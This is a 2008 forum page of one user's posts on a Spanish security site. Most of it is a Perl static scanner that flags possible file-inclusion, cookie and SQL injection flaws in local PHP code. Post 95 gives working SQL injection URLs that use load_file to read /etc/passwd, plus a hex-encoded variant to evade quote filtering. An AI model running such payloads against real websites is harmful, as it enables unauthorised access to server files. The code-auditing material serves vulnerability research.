elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


  Mostrar Mensajes
Páginas: 1 2 3 4 5 6 7 8 9 [10] 11 12 13 14
91  Seguridad Informática / Nivel Web / Re: Scanner RFI simple en PHP en: 7 Octubre 2008, 19:31 pm
Bueno, yo sigo mejorandolo y posteando en milw0rm los programas donde lo pruebo (http://www.milw0rm.com/author/1607) ... si creeis que puede ser interesante y lo vais a usar, yo no tengo ningun problema en subirlo a google code
92  Seguridad Informática / Nivel Web / Re: Scanner RFI simple en PHP en: 7 Octubre 2008, 16:38 pm
pepelux: haz considerado manejar tu codigo en un control de versiones?
SVN?

http://code.google.com/hosting/createProject

;)

Saludos!!

Conozco google code pero vamos, que mi miniprograma es algo muy casero y pequeño como para crear un control de versiones :P
93  Seguridad Informática / Nivel Web / Re: Scanner RFI simple en PHP en: 6 Octubre 2008, 22:22 pm
Pues no lo puse porque esta a medias ... pero bueno, a falta de muchas revisiones y demas, pongo lo que llego hecho por si a alguien le es de utilidad ... y antes de que critiqueis .... ESTA A MEDIAS y NO CONTROLO MUCHO DE PERL

Tiene 3 opciones de busqueda:

>> RFI (Remote File Inclusion) <<
Busca requires, includes, require_once, include_once que llamen a variables (no tiene en cuenta las funciones) y es lo que mas depurado tengo

>> ICH (Insecure Cookie Handling) <<
Basicamente lo que hace es buscar apariciones de $_COOKIE ... no sirve de mucho pero te orienta acerca del uso de cookies y donde los usa

>> SQL (SQL Injection) <<
Busca posibles fallos de SQL en los que no estan definidas las variables que usa (por terminar)

No da resultados exactos ya que hay que hacer demasiadas comprobaciones y esta a medio programar, pero sirve para coger una orientacion de donde buscar los fallos.

Aqui van los codes ...

---- phpfuzzer.pl ---

Código:
#! /usr/bin/perl



require 'scan.pm';

require 'rfi.pm';

require 'ich.pm';

require 'sql.pm';



@ficheros = (); # nombre del fichero afectado

@comandos = (); # comando que tiene el fallo

@lineas = ();   # linea del fichero donde esta el fallo

@vbles = ();    # vable afectada

@tipos = ();    # tipo de fallo (RFI / SQL)



$log = "log.txt";

$lista_ficheros = "fichero.txt";

$fichero_tmp = "tmp.ph_";

open(LOG, ">$log");



print "\e[2J";

system(($^O eq 'MSWin32') ? 'cls' : 'clear');

#system(($^O eq 'MSWin32') ? ($so = "WINDOWS") : ($so = "LINUX"));



uso();

$ruta = $ARGV[0];
$ruta !~ /\/$/;


imprime("=- Directory to scan: $ruta*.php\"\n");



# creamos un listado de todos los ficheros PHP del directorio y subdirectorios

open(FICHERO, ">$lista_ficheros");

buscar_ficheros_php($ruta);

close(FICHERO);



#### comprobamos vulnerabilidades ####



# comprobamos las vulnerabilidades RFI
if ($modo =~ /RFI/)
{

rfi();



for ($i = 0; $i <= $#ficheros; $i++)

{

if ($tipos[$i] eq 'RFI')

{

print "   Possible Remote File Inclusion vulnerability found:\n";

print "   > File affected: $ficheros[$i]";

print "   > Sentence: $lineas[$i] -> $comandos[$i]\n";

print "   > Variable: = \$$vbles[$i]\n\n";


print LOG "   Possible Remote File Inclusion vulnerability found:\n";

print LOG "   > File affected: $ficheros[$i]";

print LOG "   > Sentence: $lineas[$i] -> $comandos[$i]\n";

print LOG "   > Variable: = \$$vbles[$i]\n\n";

}

}



print "\n";
}



#### comprobamos vulnerabilidades ####



# comprobamos las vulnerabilidades ICH
if ($modo =~ /ICH/)
{

ich();



for ($i = 0; $i <= $#ficheros; $i++)

{

if ($tipos[$i] eq 'ICH')

{

print "   Possible Insecure Cookie Handling vulnerability found:\n";

print "   > File affected: $ficheros[$i]";

print "   > Sentence: $lineas[$i] -> $comandos[$i]\n\n";


print LOG "   Possible Insecure Cookie Handling vulnerability found:\n";

print LOG "   > File affected: $ficheros[$i]";

print LOG "   > Sentence: $lineas[$i] -> $comandos[$i]\n\n";

}

}



print "\n";
}



# comprobamos las vulnerabilidades SQL

if ($modo =~ /SQL/)
{

sql();



for ($i = 0; $i <= $#ficheros; $i++)

{

if ($tipos[$i] eq 'SQL')

{

print "   Possible Remote SQL Injection vulnerability found:\n";

print "   > File affected: $ficheros[$i]";

print "   > Sentence: $comandos[$i]\n";

print "   > Variable: = \$$vbles[$i]\n\n";

}

}



print "\n";

}




imprime(":: End\n");

imprime("  |===|");

close(LOG);

print "\t << Log file was saved as $log >>\n\n";





sub uso()

{

imprime("=-|========================================-{ http://www.enye-sec.org }-=====|\n");

imprime("=-[ PHP Fuzzer v1.0 ]-=====================================================-=|\n");

imprime("=-|==========================================================================|\n");

imprime("=-[ by Pepelux <pepelux[at]enye-sec[dot]org> ]-==============================|\n\n");



$modo = "SQL RFI ICH";



ayuda() if ($#ARGV < 0 || $#ARGV > 1);

if ($#ARGV == 1)

{

if ($ARGV[1] eq 'SQL' || $ARGV[1] eq 'RFI' || $ARGV[1] eq 'ICH')

{
$modo = $ARGV[1];

}

else

{

ayuda();

}

}

}



sub ayuda()

{

print "Usage: perl $0 <directory_path> [RFI | SQL | ICH]\n\n";

print "\texamples:\n";
print "\t    Scan for RFI & SQL: perl $0 myPHPSite/src\n";

print "\t    Scan for SQL only : perl $0 myPHPSite/src SQL\n";

print "\t    Scan for RFI only : perl $0 myPHPSite/src\ RFI\n\n";

print "\t    Scan for ICH only : perl $0 myPHPSite/src\ ICH\n\n";

close(LOG);

exit();

}



sub imprime()

{

my $texto = shift;

print "$texto";

print LOG "$texto";

}

---- scan.pm ---

Código:
##############################################

# Search all PHP files in the (sub)directory #

##############################################

sub buscar_ficheros_php()

{

my $dir = shift;

   

if (opendir(DIRECTORIO, "$dir"))

{

foreach (readdir(DIRECTORIO))

{

# ignoramos . y ..

            next if ($_ eq "." || $_ eq "..");

           

# buscamos los ficheros terminados en .php

if ($_ =~ /.php$/)

{

print FICHERO "$dir/$_\n";

            }



buscar_ficheros_php("$dir/$_") if (-d "$dir/$_" && ! -l "$dir/$_");

}

               

closedir DIRECTORIO;

}

else

{

print "ERROR: can not read directory $dir\n";

    }

}



1;

---- rfi.pm ---

Código:
sub rfi()

{

print "\n:: Searching for possible Remote File Inclusion vulnerabilities\n";

print "  |============================================================|\n";

print LOG "\n:: Searching for possible Remote File Inclusion vulnerabilities\n";

print LOG "  |============================================================|\n";



$encontrado = 0;



open(FICHERO, "$lista_ficheros");



while(<FICHERO>)

{

$fichero_original = $_;

    organizar_fichero($_);

buscar_rfi($fichero_original, $fichero_tmp);

}



if ($encontrado == 0)

{

print "   Not RFI vulnerabilities found\n";

print LOG "   Not RFI vulnerabilities found\n";

}



close(FICHERO);

}



##############################

# Read a PHP for search RFIs #

##############################

sub buscar_rfi()

{

my $file = shift;

my $fileTmp = shift;

$clinea = 0;



open FICHERO_PHP, $file;


while(<FICHERO_PHP>)

{

$clinea++;



# buscamos includes o requires seguidos de ($

$cadena = $_;

if (($cadena  =~ /^\s*require\s*\(/ || $cadena  =~ /^\s*require\s*\"/ ||
      $cadena  =~ /^\s*require_once\s*\(/ || $cadena  =~ /^\s*require_once\s*\"/ ||
$cadena  =~ /^\s*include\s*\(/ || $cadena  =~ /^\s*include\s*\"/ ||
$cadena  =~ /^\s*include_once\s*\(/ || $cadena  =~ /^\s*include_once\s*\"/ )
&& $cadena !~ "^//" && $cadena =~ "\$")
{
$linea_original = $_;


@matriz = ();

extraer_datos_rfi($cadena);

for ($i = 0; $i <= $#matriz; $i++) {
$cadena = $matriz[$i];

if (uc($cadena)  !~ /_GET/ && uc($cadena)  !~ /_POST/ && uc($cadena)  !~ /_COOKIE/) {

if (uc($cadena)  =~ /\[/ || uc($cadena)  =~ /\]/) {

$cadena = "";
}

}



if (length($cadena) > 0)

{

if (!comprobar_rfi($fileTmp, $cadena) == 0)

{

$encontrado = 1;
$linea_original =~ s/\s*//g;

push(@ficheros, $fichero_original);

push(@comandos, $linea_original);

push(@lineas, $clinea);

push(@vbles, $cadena);

push(@tipos, "RFI");

}

}

}
}

}



close FICHERO_PHP;

}



sub comprobar_rfi()

{

my $file = shift;

my $var = shift;


chop($var);

open FICHERO_PHP2, $file;



while(<FICHERO_PHP2>)

{
$tmp = $_;
$tmp =~ s/\s*//g;
chop($tmp);

if ($tmp =~ /$var[A-Z|a-z]*\s*=/)

{
$x = index($tmp, $var);

if ($x < 2)
{
close(FICHERO_PHP2);

return 0;
}

}

}



close(FICHERO_PHP2);

return 1;

}



sub extraer_datos_rfi()
{
$cadena = shift;
$cadena =~ s/\s*require_once\s*//g;
$cadena =~ s/\s*require\s*//g;
$cadena =~ s/\s*include_once\s*//g;
$cadena =~ s/\s*include\s*//g;
$cadena =~ s/\(//g;

$cadena =~ s/\)\s*\;//g;

$cadena =~ s/\s*\n$//g;

$cadena =~ s/\s*;$//g;

$cadena =~ s/\s*\)$//g;

$cadena =~ s/\s*\"$//g;


do
{
$x = index($cadena, "\$");

if ($x > -1)
{
$y = 999;
$y1 = index($cadena, "\.", $x)-1;
$y2 = index($cadena, "/", $x)-1;
$y3 = index($cadena, ")", $x)-1;

if ($y1 < 0) { $y1 = 999; }
if ($y2 < 0) { $y2 = 999; }
if ($y3 < 0) { $y3 = 999; }

if ($y1 < $y) { $y = $ y1; }
if ($y2 < $y) { $y = $ y2; }
if ($y3 < $y) { $y = $ y3; }

if ($y > 0 && $y < 999)
{
$valor = substr($cadena, $x+1, $y-$x);
push(@matriz, $valor);
$cadena = substr($cadena, $y+1, length($cadena)-$y);
}
else
{
$valor = substr($cadena, $x+1, length($cadena)-$x-1);
push(@matriz, $valor);
$x = -1;
}
}
} while($x > 0);
}

1;


---- ich.pm ---

Código:
sub ich()

{

print "\n:: Searching for possible Insecure Cookie Handling vulnerabilities\n";

print "  |===============================================================|\n";

print LOG "\n:: Searching for possible Insecure Cookie Handling vulnerabilities\n";

print LOG "  |===============================================================|\n";



$encontrado = 0;



open(FICHERO, "$lista_ficheros");



while(<FICHERO>)

{

$fichero_original = $_;

    organizar_fichero($_);

buscar_ich($fichero_original, $fichero_tmp);

}



if ($encontrado == 0)

{

print "   Not ICH vulnerabilities found\n";

print LOG "   Not ICH vulnerabilities found\n";

}



close(FICHERO);

}



##############################

# Read a PHP for search ICHs #

##############################

sub buscar_ich()

{

my $file = shift;

my $fileTmp = shift;

$clinea = 0;



open FICHERO_PHP, $file;


while(<FICHERO_PHP>)

{

$clinea++;



# buscamos includes o requires seguidos de ($

$cadena = $_;

if ($cadena  =~ /\$_COOKIE/ && $cadena !~ "^//")
{
$linea_original = $_;


@matriz = ();


$encontrado = 1;
$linea_original =~ s/\s*//g;

push(@ficheros, $fichero_original);

push(@comandos, $linea_original);

push(@lineas, $clinea);

push(@vbles, '');

push(@tipos, "ICH");

}

}



close FICHERO_PHP;

}


1;


---- sql.pm ---

Código:
require "unir.pm";



sub sql()

{

print "\n:: Searching for possible SQL Injection vulnerabilities\n";

print "  |====================================================|\n";

print LOG "\n:: Searching for possible SQL Injection vulnerabilities\n";

print LOG "  |====================================================|\n";



$encontrado = 0;



open(FICHERO, "$lista_ficheros");



while(<FICHERO>)

{

$fichero_original = $_;

# print "   Creating a tmp file with: $_";

print LOG "   Creating a tmp file with: $_";

@includes = ();

organizar_fichero($_);

# print "\n   Analyzing vars in SQL SELECT sentences\n";

print LOG "\n   Analyzing vars in SQL SELECT sentences\n";

buscar_select($fichero_tmp);

# print "\n";

print LOG "\n";

}



if ($encontrado == 0)

{

print "   Not SQL vulnerabilities found\n";

print LOG "   Not SQL vulnerabilities found\n";

}



close(FICHERO);

}





#######################################

# Search vars in SQL SELECT sentences #

#######################################

sub buscar_select()

{

my $file = shift;



open FICHERO_PHP, $file;



while(<FICHERO_PHP>)

{

$linea = $_;

$linea_entera = $linea;



# dejamos la linea en blanco en caso de que sea un comentario

$linea = "" if ($linea =~ /^\s*\/\//);



if ((uc($linea)  =~ "SELECT" && uc($linea)  =~ "FROM" && uc($linea)  =~ "WHERE") ||

(uc($linea)  =~ "UPDATE" && uc($linea)  =~ "SET" && uc($linea)  =~ "WHERE") ||

(uc($linea)  =~ "DELETE" && uc($linea)  =~ "FROM" && uc($linea)  =~ "WHERE") ||

(uc($linea)  =~ "INSERT" && uc($linea)  =~ "INTO"))

{

$cadena = $linea;

$ini = index($cadena, "\"") + 1;

$cadena = substr($cadena, $ini, length($cadena) - $ini);

$fin = index($cadena, ";");

$cadena = substr($cadena, 0, $fin) if $fin > -1;



if ($cadena =~ /\$/)

{

# print "   > Found: $cadena\n";

print LOG "   > Found: $cadena\n";



if (uc($linea)  =~ "INSERT" && uc($linea)  =~ "INTO" && uc($linea)  =~ "VALUES")

{

# buscamos a partir de VALUES

$ini = index(uc($linea), "VALUES") + 6;

}

else

{

if (uc($linea)  =~ "INSERT" && uc($linea)  =~ "INTO")

{

# buscamos a partir de INTO

$ini = index(uc($linea), "INTO") + 6;

}

else

{

# buscamos a partir de WHERE

$ini = index(uc($linea), "WHERE") + 5;

}

}



$linea = substr($linea, $ini, length($linea) - $ini);

$salir = 0;



do

{

# buscamos a partir de $, que identifica la variable

$ini = index($linea, "\$") + 1;

if ($ini == 0)

{

$salir = 1;

}

else

{

$linea = substr($linea, $ini, length($linea) - $ini);

$sentencia = $linea;



if (uc($sentencia)  =~ "_GET")

{

$ini = index($sentencia, "_GET");

$fin = index($sentencia, "\]");

$sentencia = substr($linea, $ini+6, $fin-$ini-7);

}



if (uc($sentencia)  =~ "_POST")

{

$ini = index($sentencia, "_POST");

$fin = index($sentencia, "\]");

$sentencia = substr($linea, $ini+7, $fin-$ini-8);

}



# cortamos en ) si existe

$fin = index($sentencia, "\)");

$sentencia = substr($sentencia, 0, $fin) if $fin > -1;

# cortamos en ' si existe

$fin = index($sentencia, "\'");

$sentencia = substr($sentencia, 0, $fin) if $fin > -1;

# cortamos en " si existe

$fin = index($sentencia, "\"");

$sentencia = substr($sentencia, 0, $fin) if $fin > -1;

# cortamos en . si existe

$fin = index($sentencia, ".");

$sentencia = substr($sentencia, 0, $fin) if $fin > -1;

# quitamos basura del final

$fin = index($sentencia, " ");

$sentencia = substr($sentencia, 0, $fin) if $fin > -1;

$fin = index($sentencia, "%");

$sentencia = substr($sentencia, 0, $fin) if $fin > -1;

$fin = index($sentencia, ";");

$sentencia = substr($sentencia, 0, $fin) if $fin > -1;

$fin = index($sentencia, ",");

$sentencia = substr($sentencia, 0, $fin) if $fin > -1;



if ($sentencia  =~ /\[/ || $sentencia  =~ /\]/ || $sentencia  =~ /->/)

{

$sentencia = "";

}



if (length($sentencia) > 0)

{

$encontrado = 1;



if (comprobar_sql($file, $sentencia) == 0)

{

# print "\tChecking var: \$$sentencia ... not vulnerable\n\n";

print LOG "\tChecking var: \$$sentencia ... not vulnerable\n\n";

}

else

{

push(@ficheros, $fichero_original);

push(@comandos, $cadena);

push(@lineas, $lin);

push(@vbles, $sentencia);

push(@tipos, "SQL");

# print "\tChecking var: \$$sentencia ... VULNERABLE\n";

print LOG "\tChecking var: \$$sentencia ... VULNERABLE\n";

}

}

}

} while ($salir == 0);



# print "\n";

print LOG "\n";

}

}

}



close FICHERO_PHP;

}



sub comprobar_sql()

{

my $file = shift;

my $var = shift;



open FICHERO_PHP2, $file;



while(<FICHERO_PHP2>)

{

if ($_ =~ /\$$var\s*=/)

{

close(FICHERO_PHP2);

return 0;

}

}



close(FICHERO_PHP2);

return 1;

}



1;

---- unir.pm ---

Código:
###########################################################

# Organize a PHP file including all includes and requires #

###########################################################

sub organizar_fichero()

{

my $file = shift;

$cont = 0;

$clinea = 0;



open FICHERO_PHP, $file;

open FICHERO_TMP, ">$fichero_tmp";



while(<FICHERO_PHP>)

{

$clinea++;



$linea = uc($_);



# buscamos includes o requires seguidos de ("

# si encontramos alguno incluimos su contenido

# dentro del fichero temporal

if (($_  =~ /require\s*\(/ || $_  =~ /require\s*\"/ ||

   $_  =~ /require_once\s*\(/ || $_  =~ /require_once\s*\"/ ||

$_  =~ /include\s*\(/ || $_  =~ /include\s*\"/ ||

$_  =~ /include_once\s*\(/ || $_  =~ /include_once\s*\"/ )

&& $_ !~ "^//" && $_ !~/\$/)

{

$cadena = $_;

$ini = index($cadena, "\"") + 1;

$fin = index($cadena, "\"", $ini) - $ini;

$cadena = substr($cadena, $ini, $fin);


$cadenatmp = $file;

$ruta = '';



do

{

$ini = index($cadenatmp, '/');

$fin = length($cadenatmp) - $ini;

$ruta .= substr($cadenatmp, 0, $ini+1);

$cadenatmp = substr($cadenatmp, $ini+1, $fin);

} until ($ini == -1);



$ruta .= $cadena;



push(@includes, $ruta);

# print "   > Including: $ruta\n";



open FICHERO_INCLUDE, $ruta;



while(<FICHERO_INCLUDE>)

{

print FICHERO_TMP $_;

}



print FICHERO_TMP "\n";

close FICHERO_INCLUDE;

}

else

{

print FICHERO_TMP $_;

}

}



close FICHERO_TMP;

close FICHERO_PHP;
}



1;
94  Seguridad Informática / Nivel Web / Re: Scanner RFI simple en PHP en: 5 Octubre 2008, 23:01 pm
Ah ok .. el mio escanea en local :)
95  Seguridad Informática / Nivel Web / Re: SQL injection... en: 5 Octubre 2008, 13:05 pm
http://www.site.com/?id=-1 union select 1,load_file('/etc/passwd'),3,...

o si filtra las comillas, en HEX:

http://www.site.com/?id=-1 union select 1,load_file(0x2f6574632f706173737764),3,...
96  Seguridad Informática / Nivel Web / Re: Scanner RFI simple en PHP en: 5 Octubre 2008, 13:01 pm
Eso funciona?  :-X

Yo tengo un scanner de RFI en perl (un fuzzer) y basicamente lo que hago es:

1- abro el fichero PHP a analizar y le adjunto cada include o require que veo (ya que puedes tener definidas las variables en otro fichero que incluyas antes)

2- busco los require, include, require_once e include_once que cargen alguna variable (tipo $loquesea)

3- por cada include o require que encuentro, vuelvo a revisar el codigo a ver si esta o no definido

4- en el caso de que no este definido, es un posible RFI

Tambien hay que tener en cuenta las funciones (si el require o include esta dentro de una funcion, no puedes aprovecharte de el, ya que el parametro se pasa a la funcion)

Un saludo
97  Seguridad Informática / Materiales y equipos / Re: Duda sobre tarjeta de red para equipo portatil en: 28 Septiembre 2008, 12:28 pm
lo suyo es que te pongas (para auditar) una usb (tipo zydas) que te permita conectar una antena auxiliar
98  Seguridad Informática / Hacking / Re: Top 100 Network Security Tools [en construcción] en: 12 Septiembre 2008, 21:21 pm
He encontrado esta mañana una web con muchas herramientas que parece estar bien. Igual la conoceis pero bueno, aqui va:

http://www.leetupload.com/dbindex2/
99  Programación / .NET (C#, VB.NET, ASP) / Re: Ayuda con ejercicio en: 4 Septiembre 2008, 22:58 pm
asi no vas a aprender nada ... esta el foro lleno de peticiones tuyas con diferentes ejercicios ... luego pasa lo que pasa, contratas a un programador y no tiene ni idea ya que se lo han dado todo hecho
100  Programación / .NET (C#, VB.NET, ASP) / Re: Tutorial: Como abrir tu aplicacion .NET sin .NET Framework instalado en: 1 Septiembre 2008, 12:32 pm
Pues no va ... detecta y añade las referencias pero a la hora de ejecutarlo me dice que falta la DLL ... y si copio la DLL tambien me dice que falta :(
Páginas: 1 2 3 4 5 6 7 8 9 [10] 11 12 13 14
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines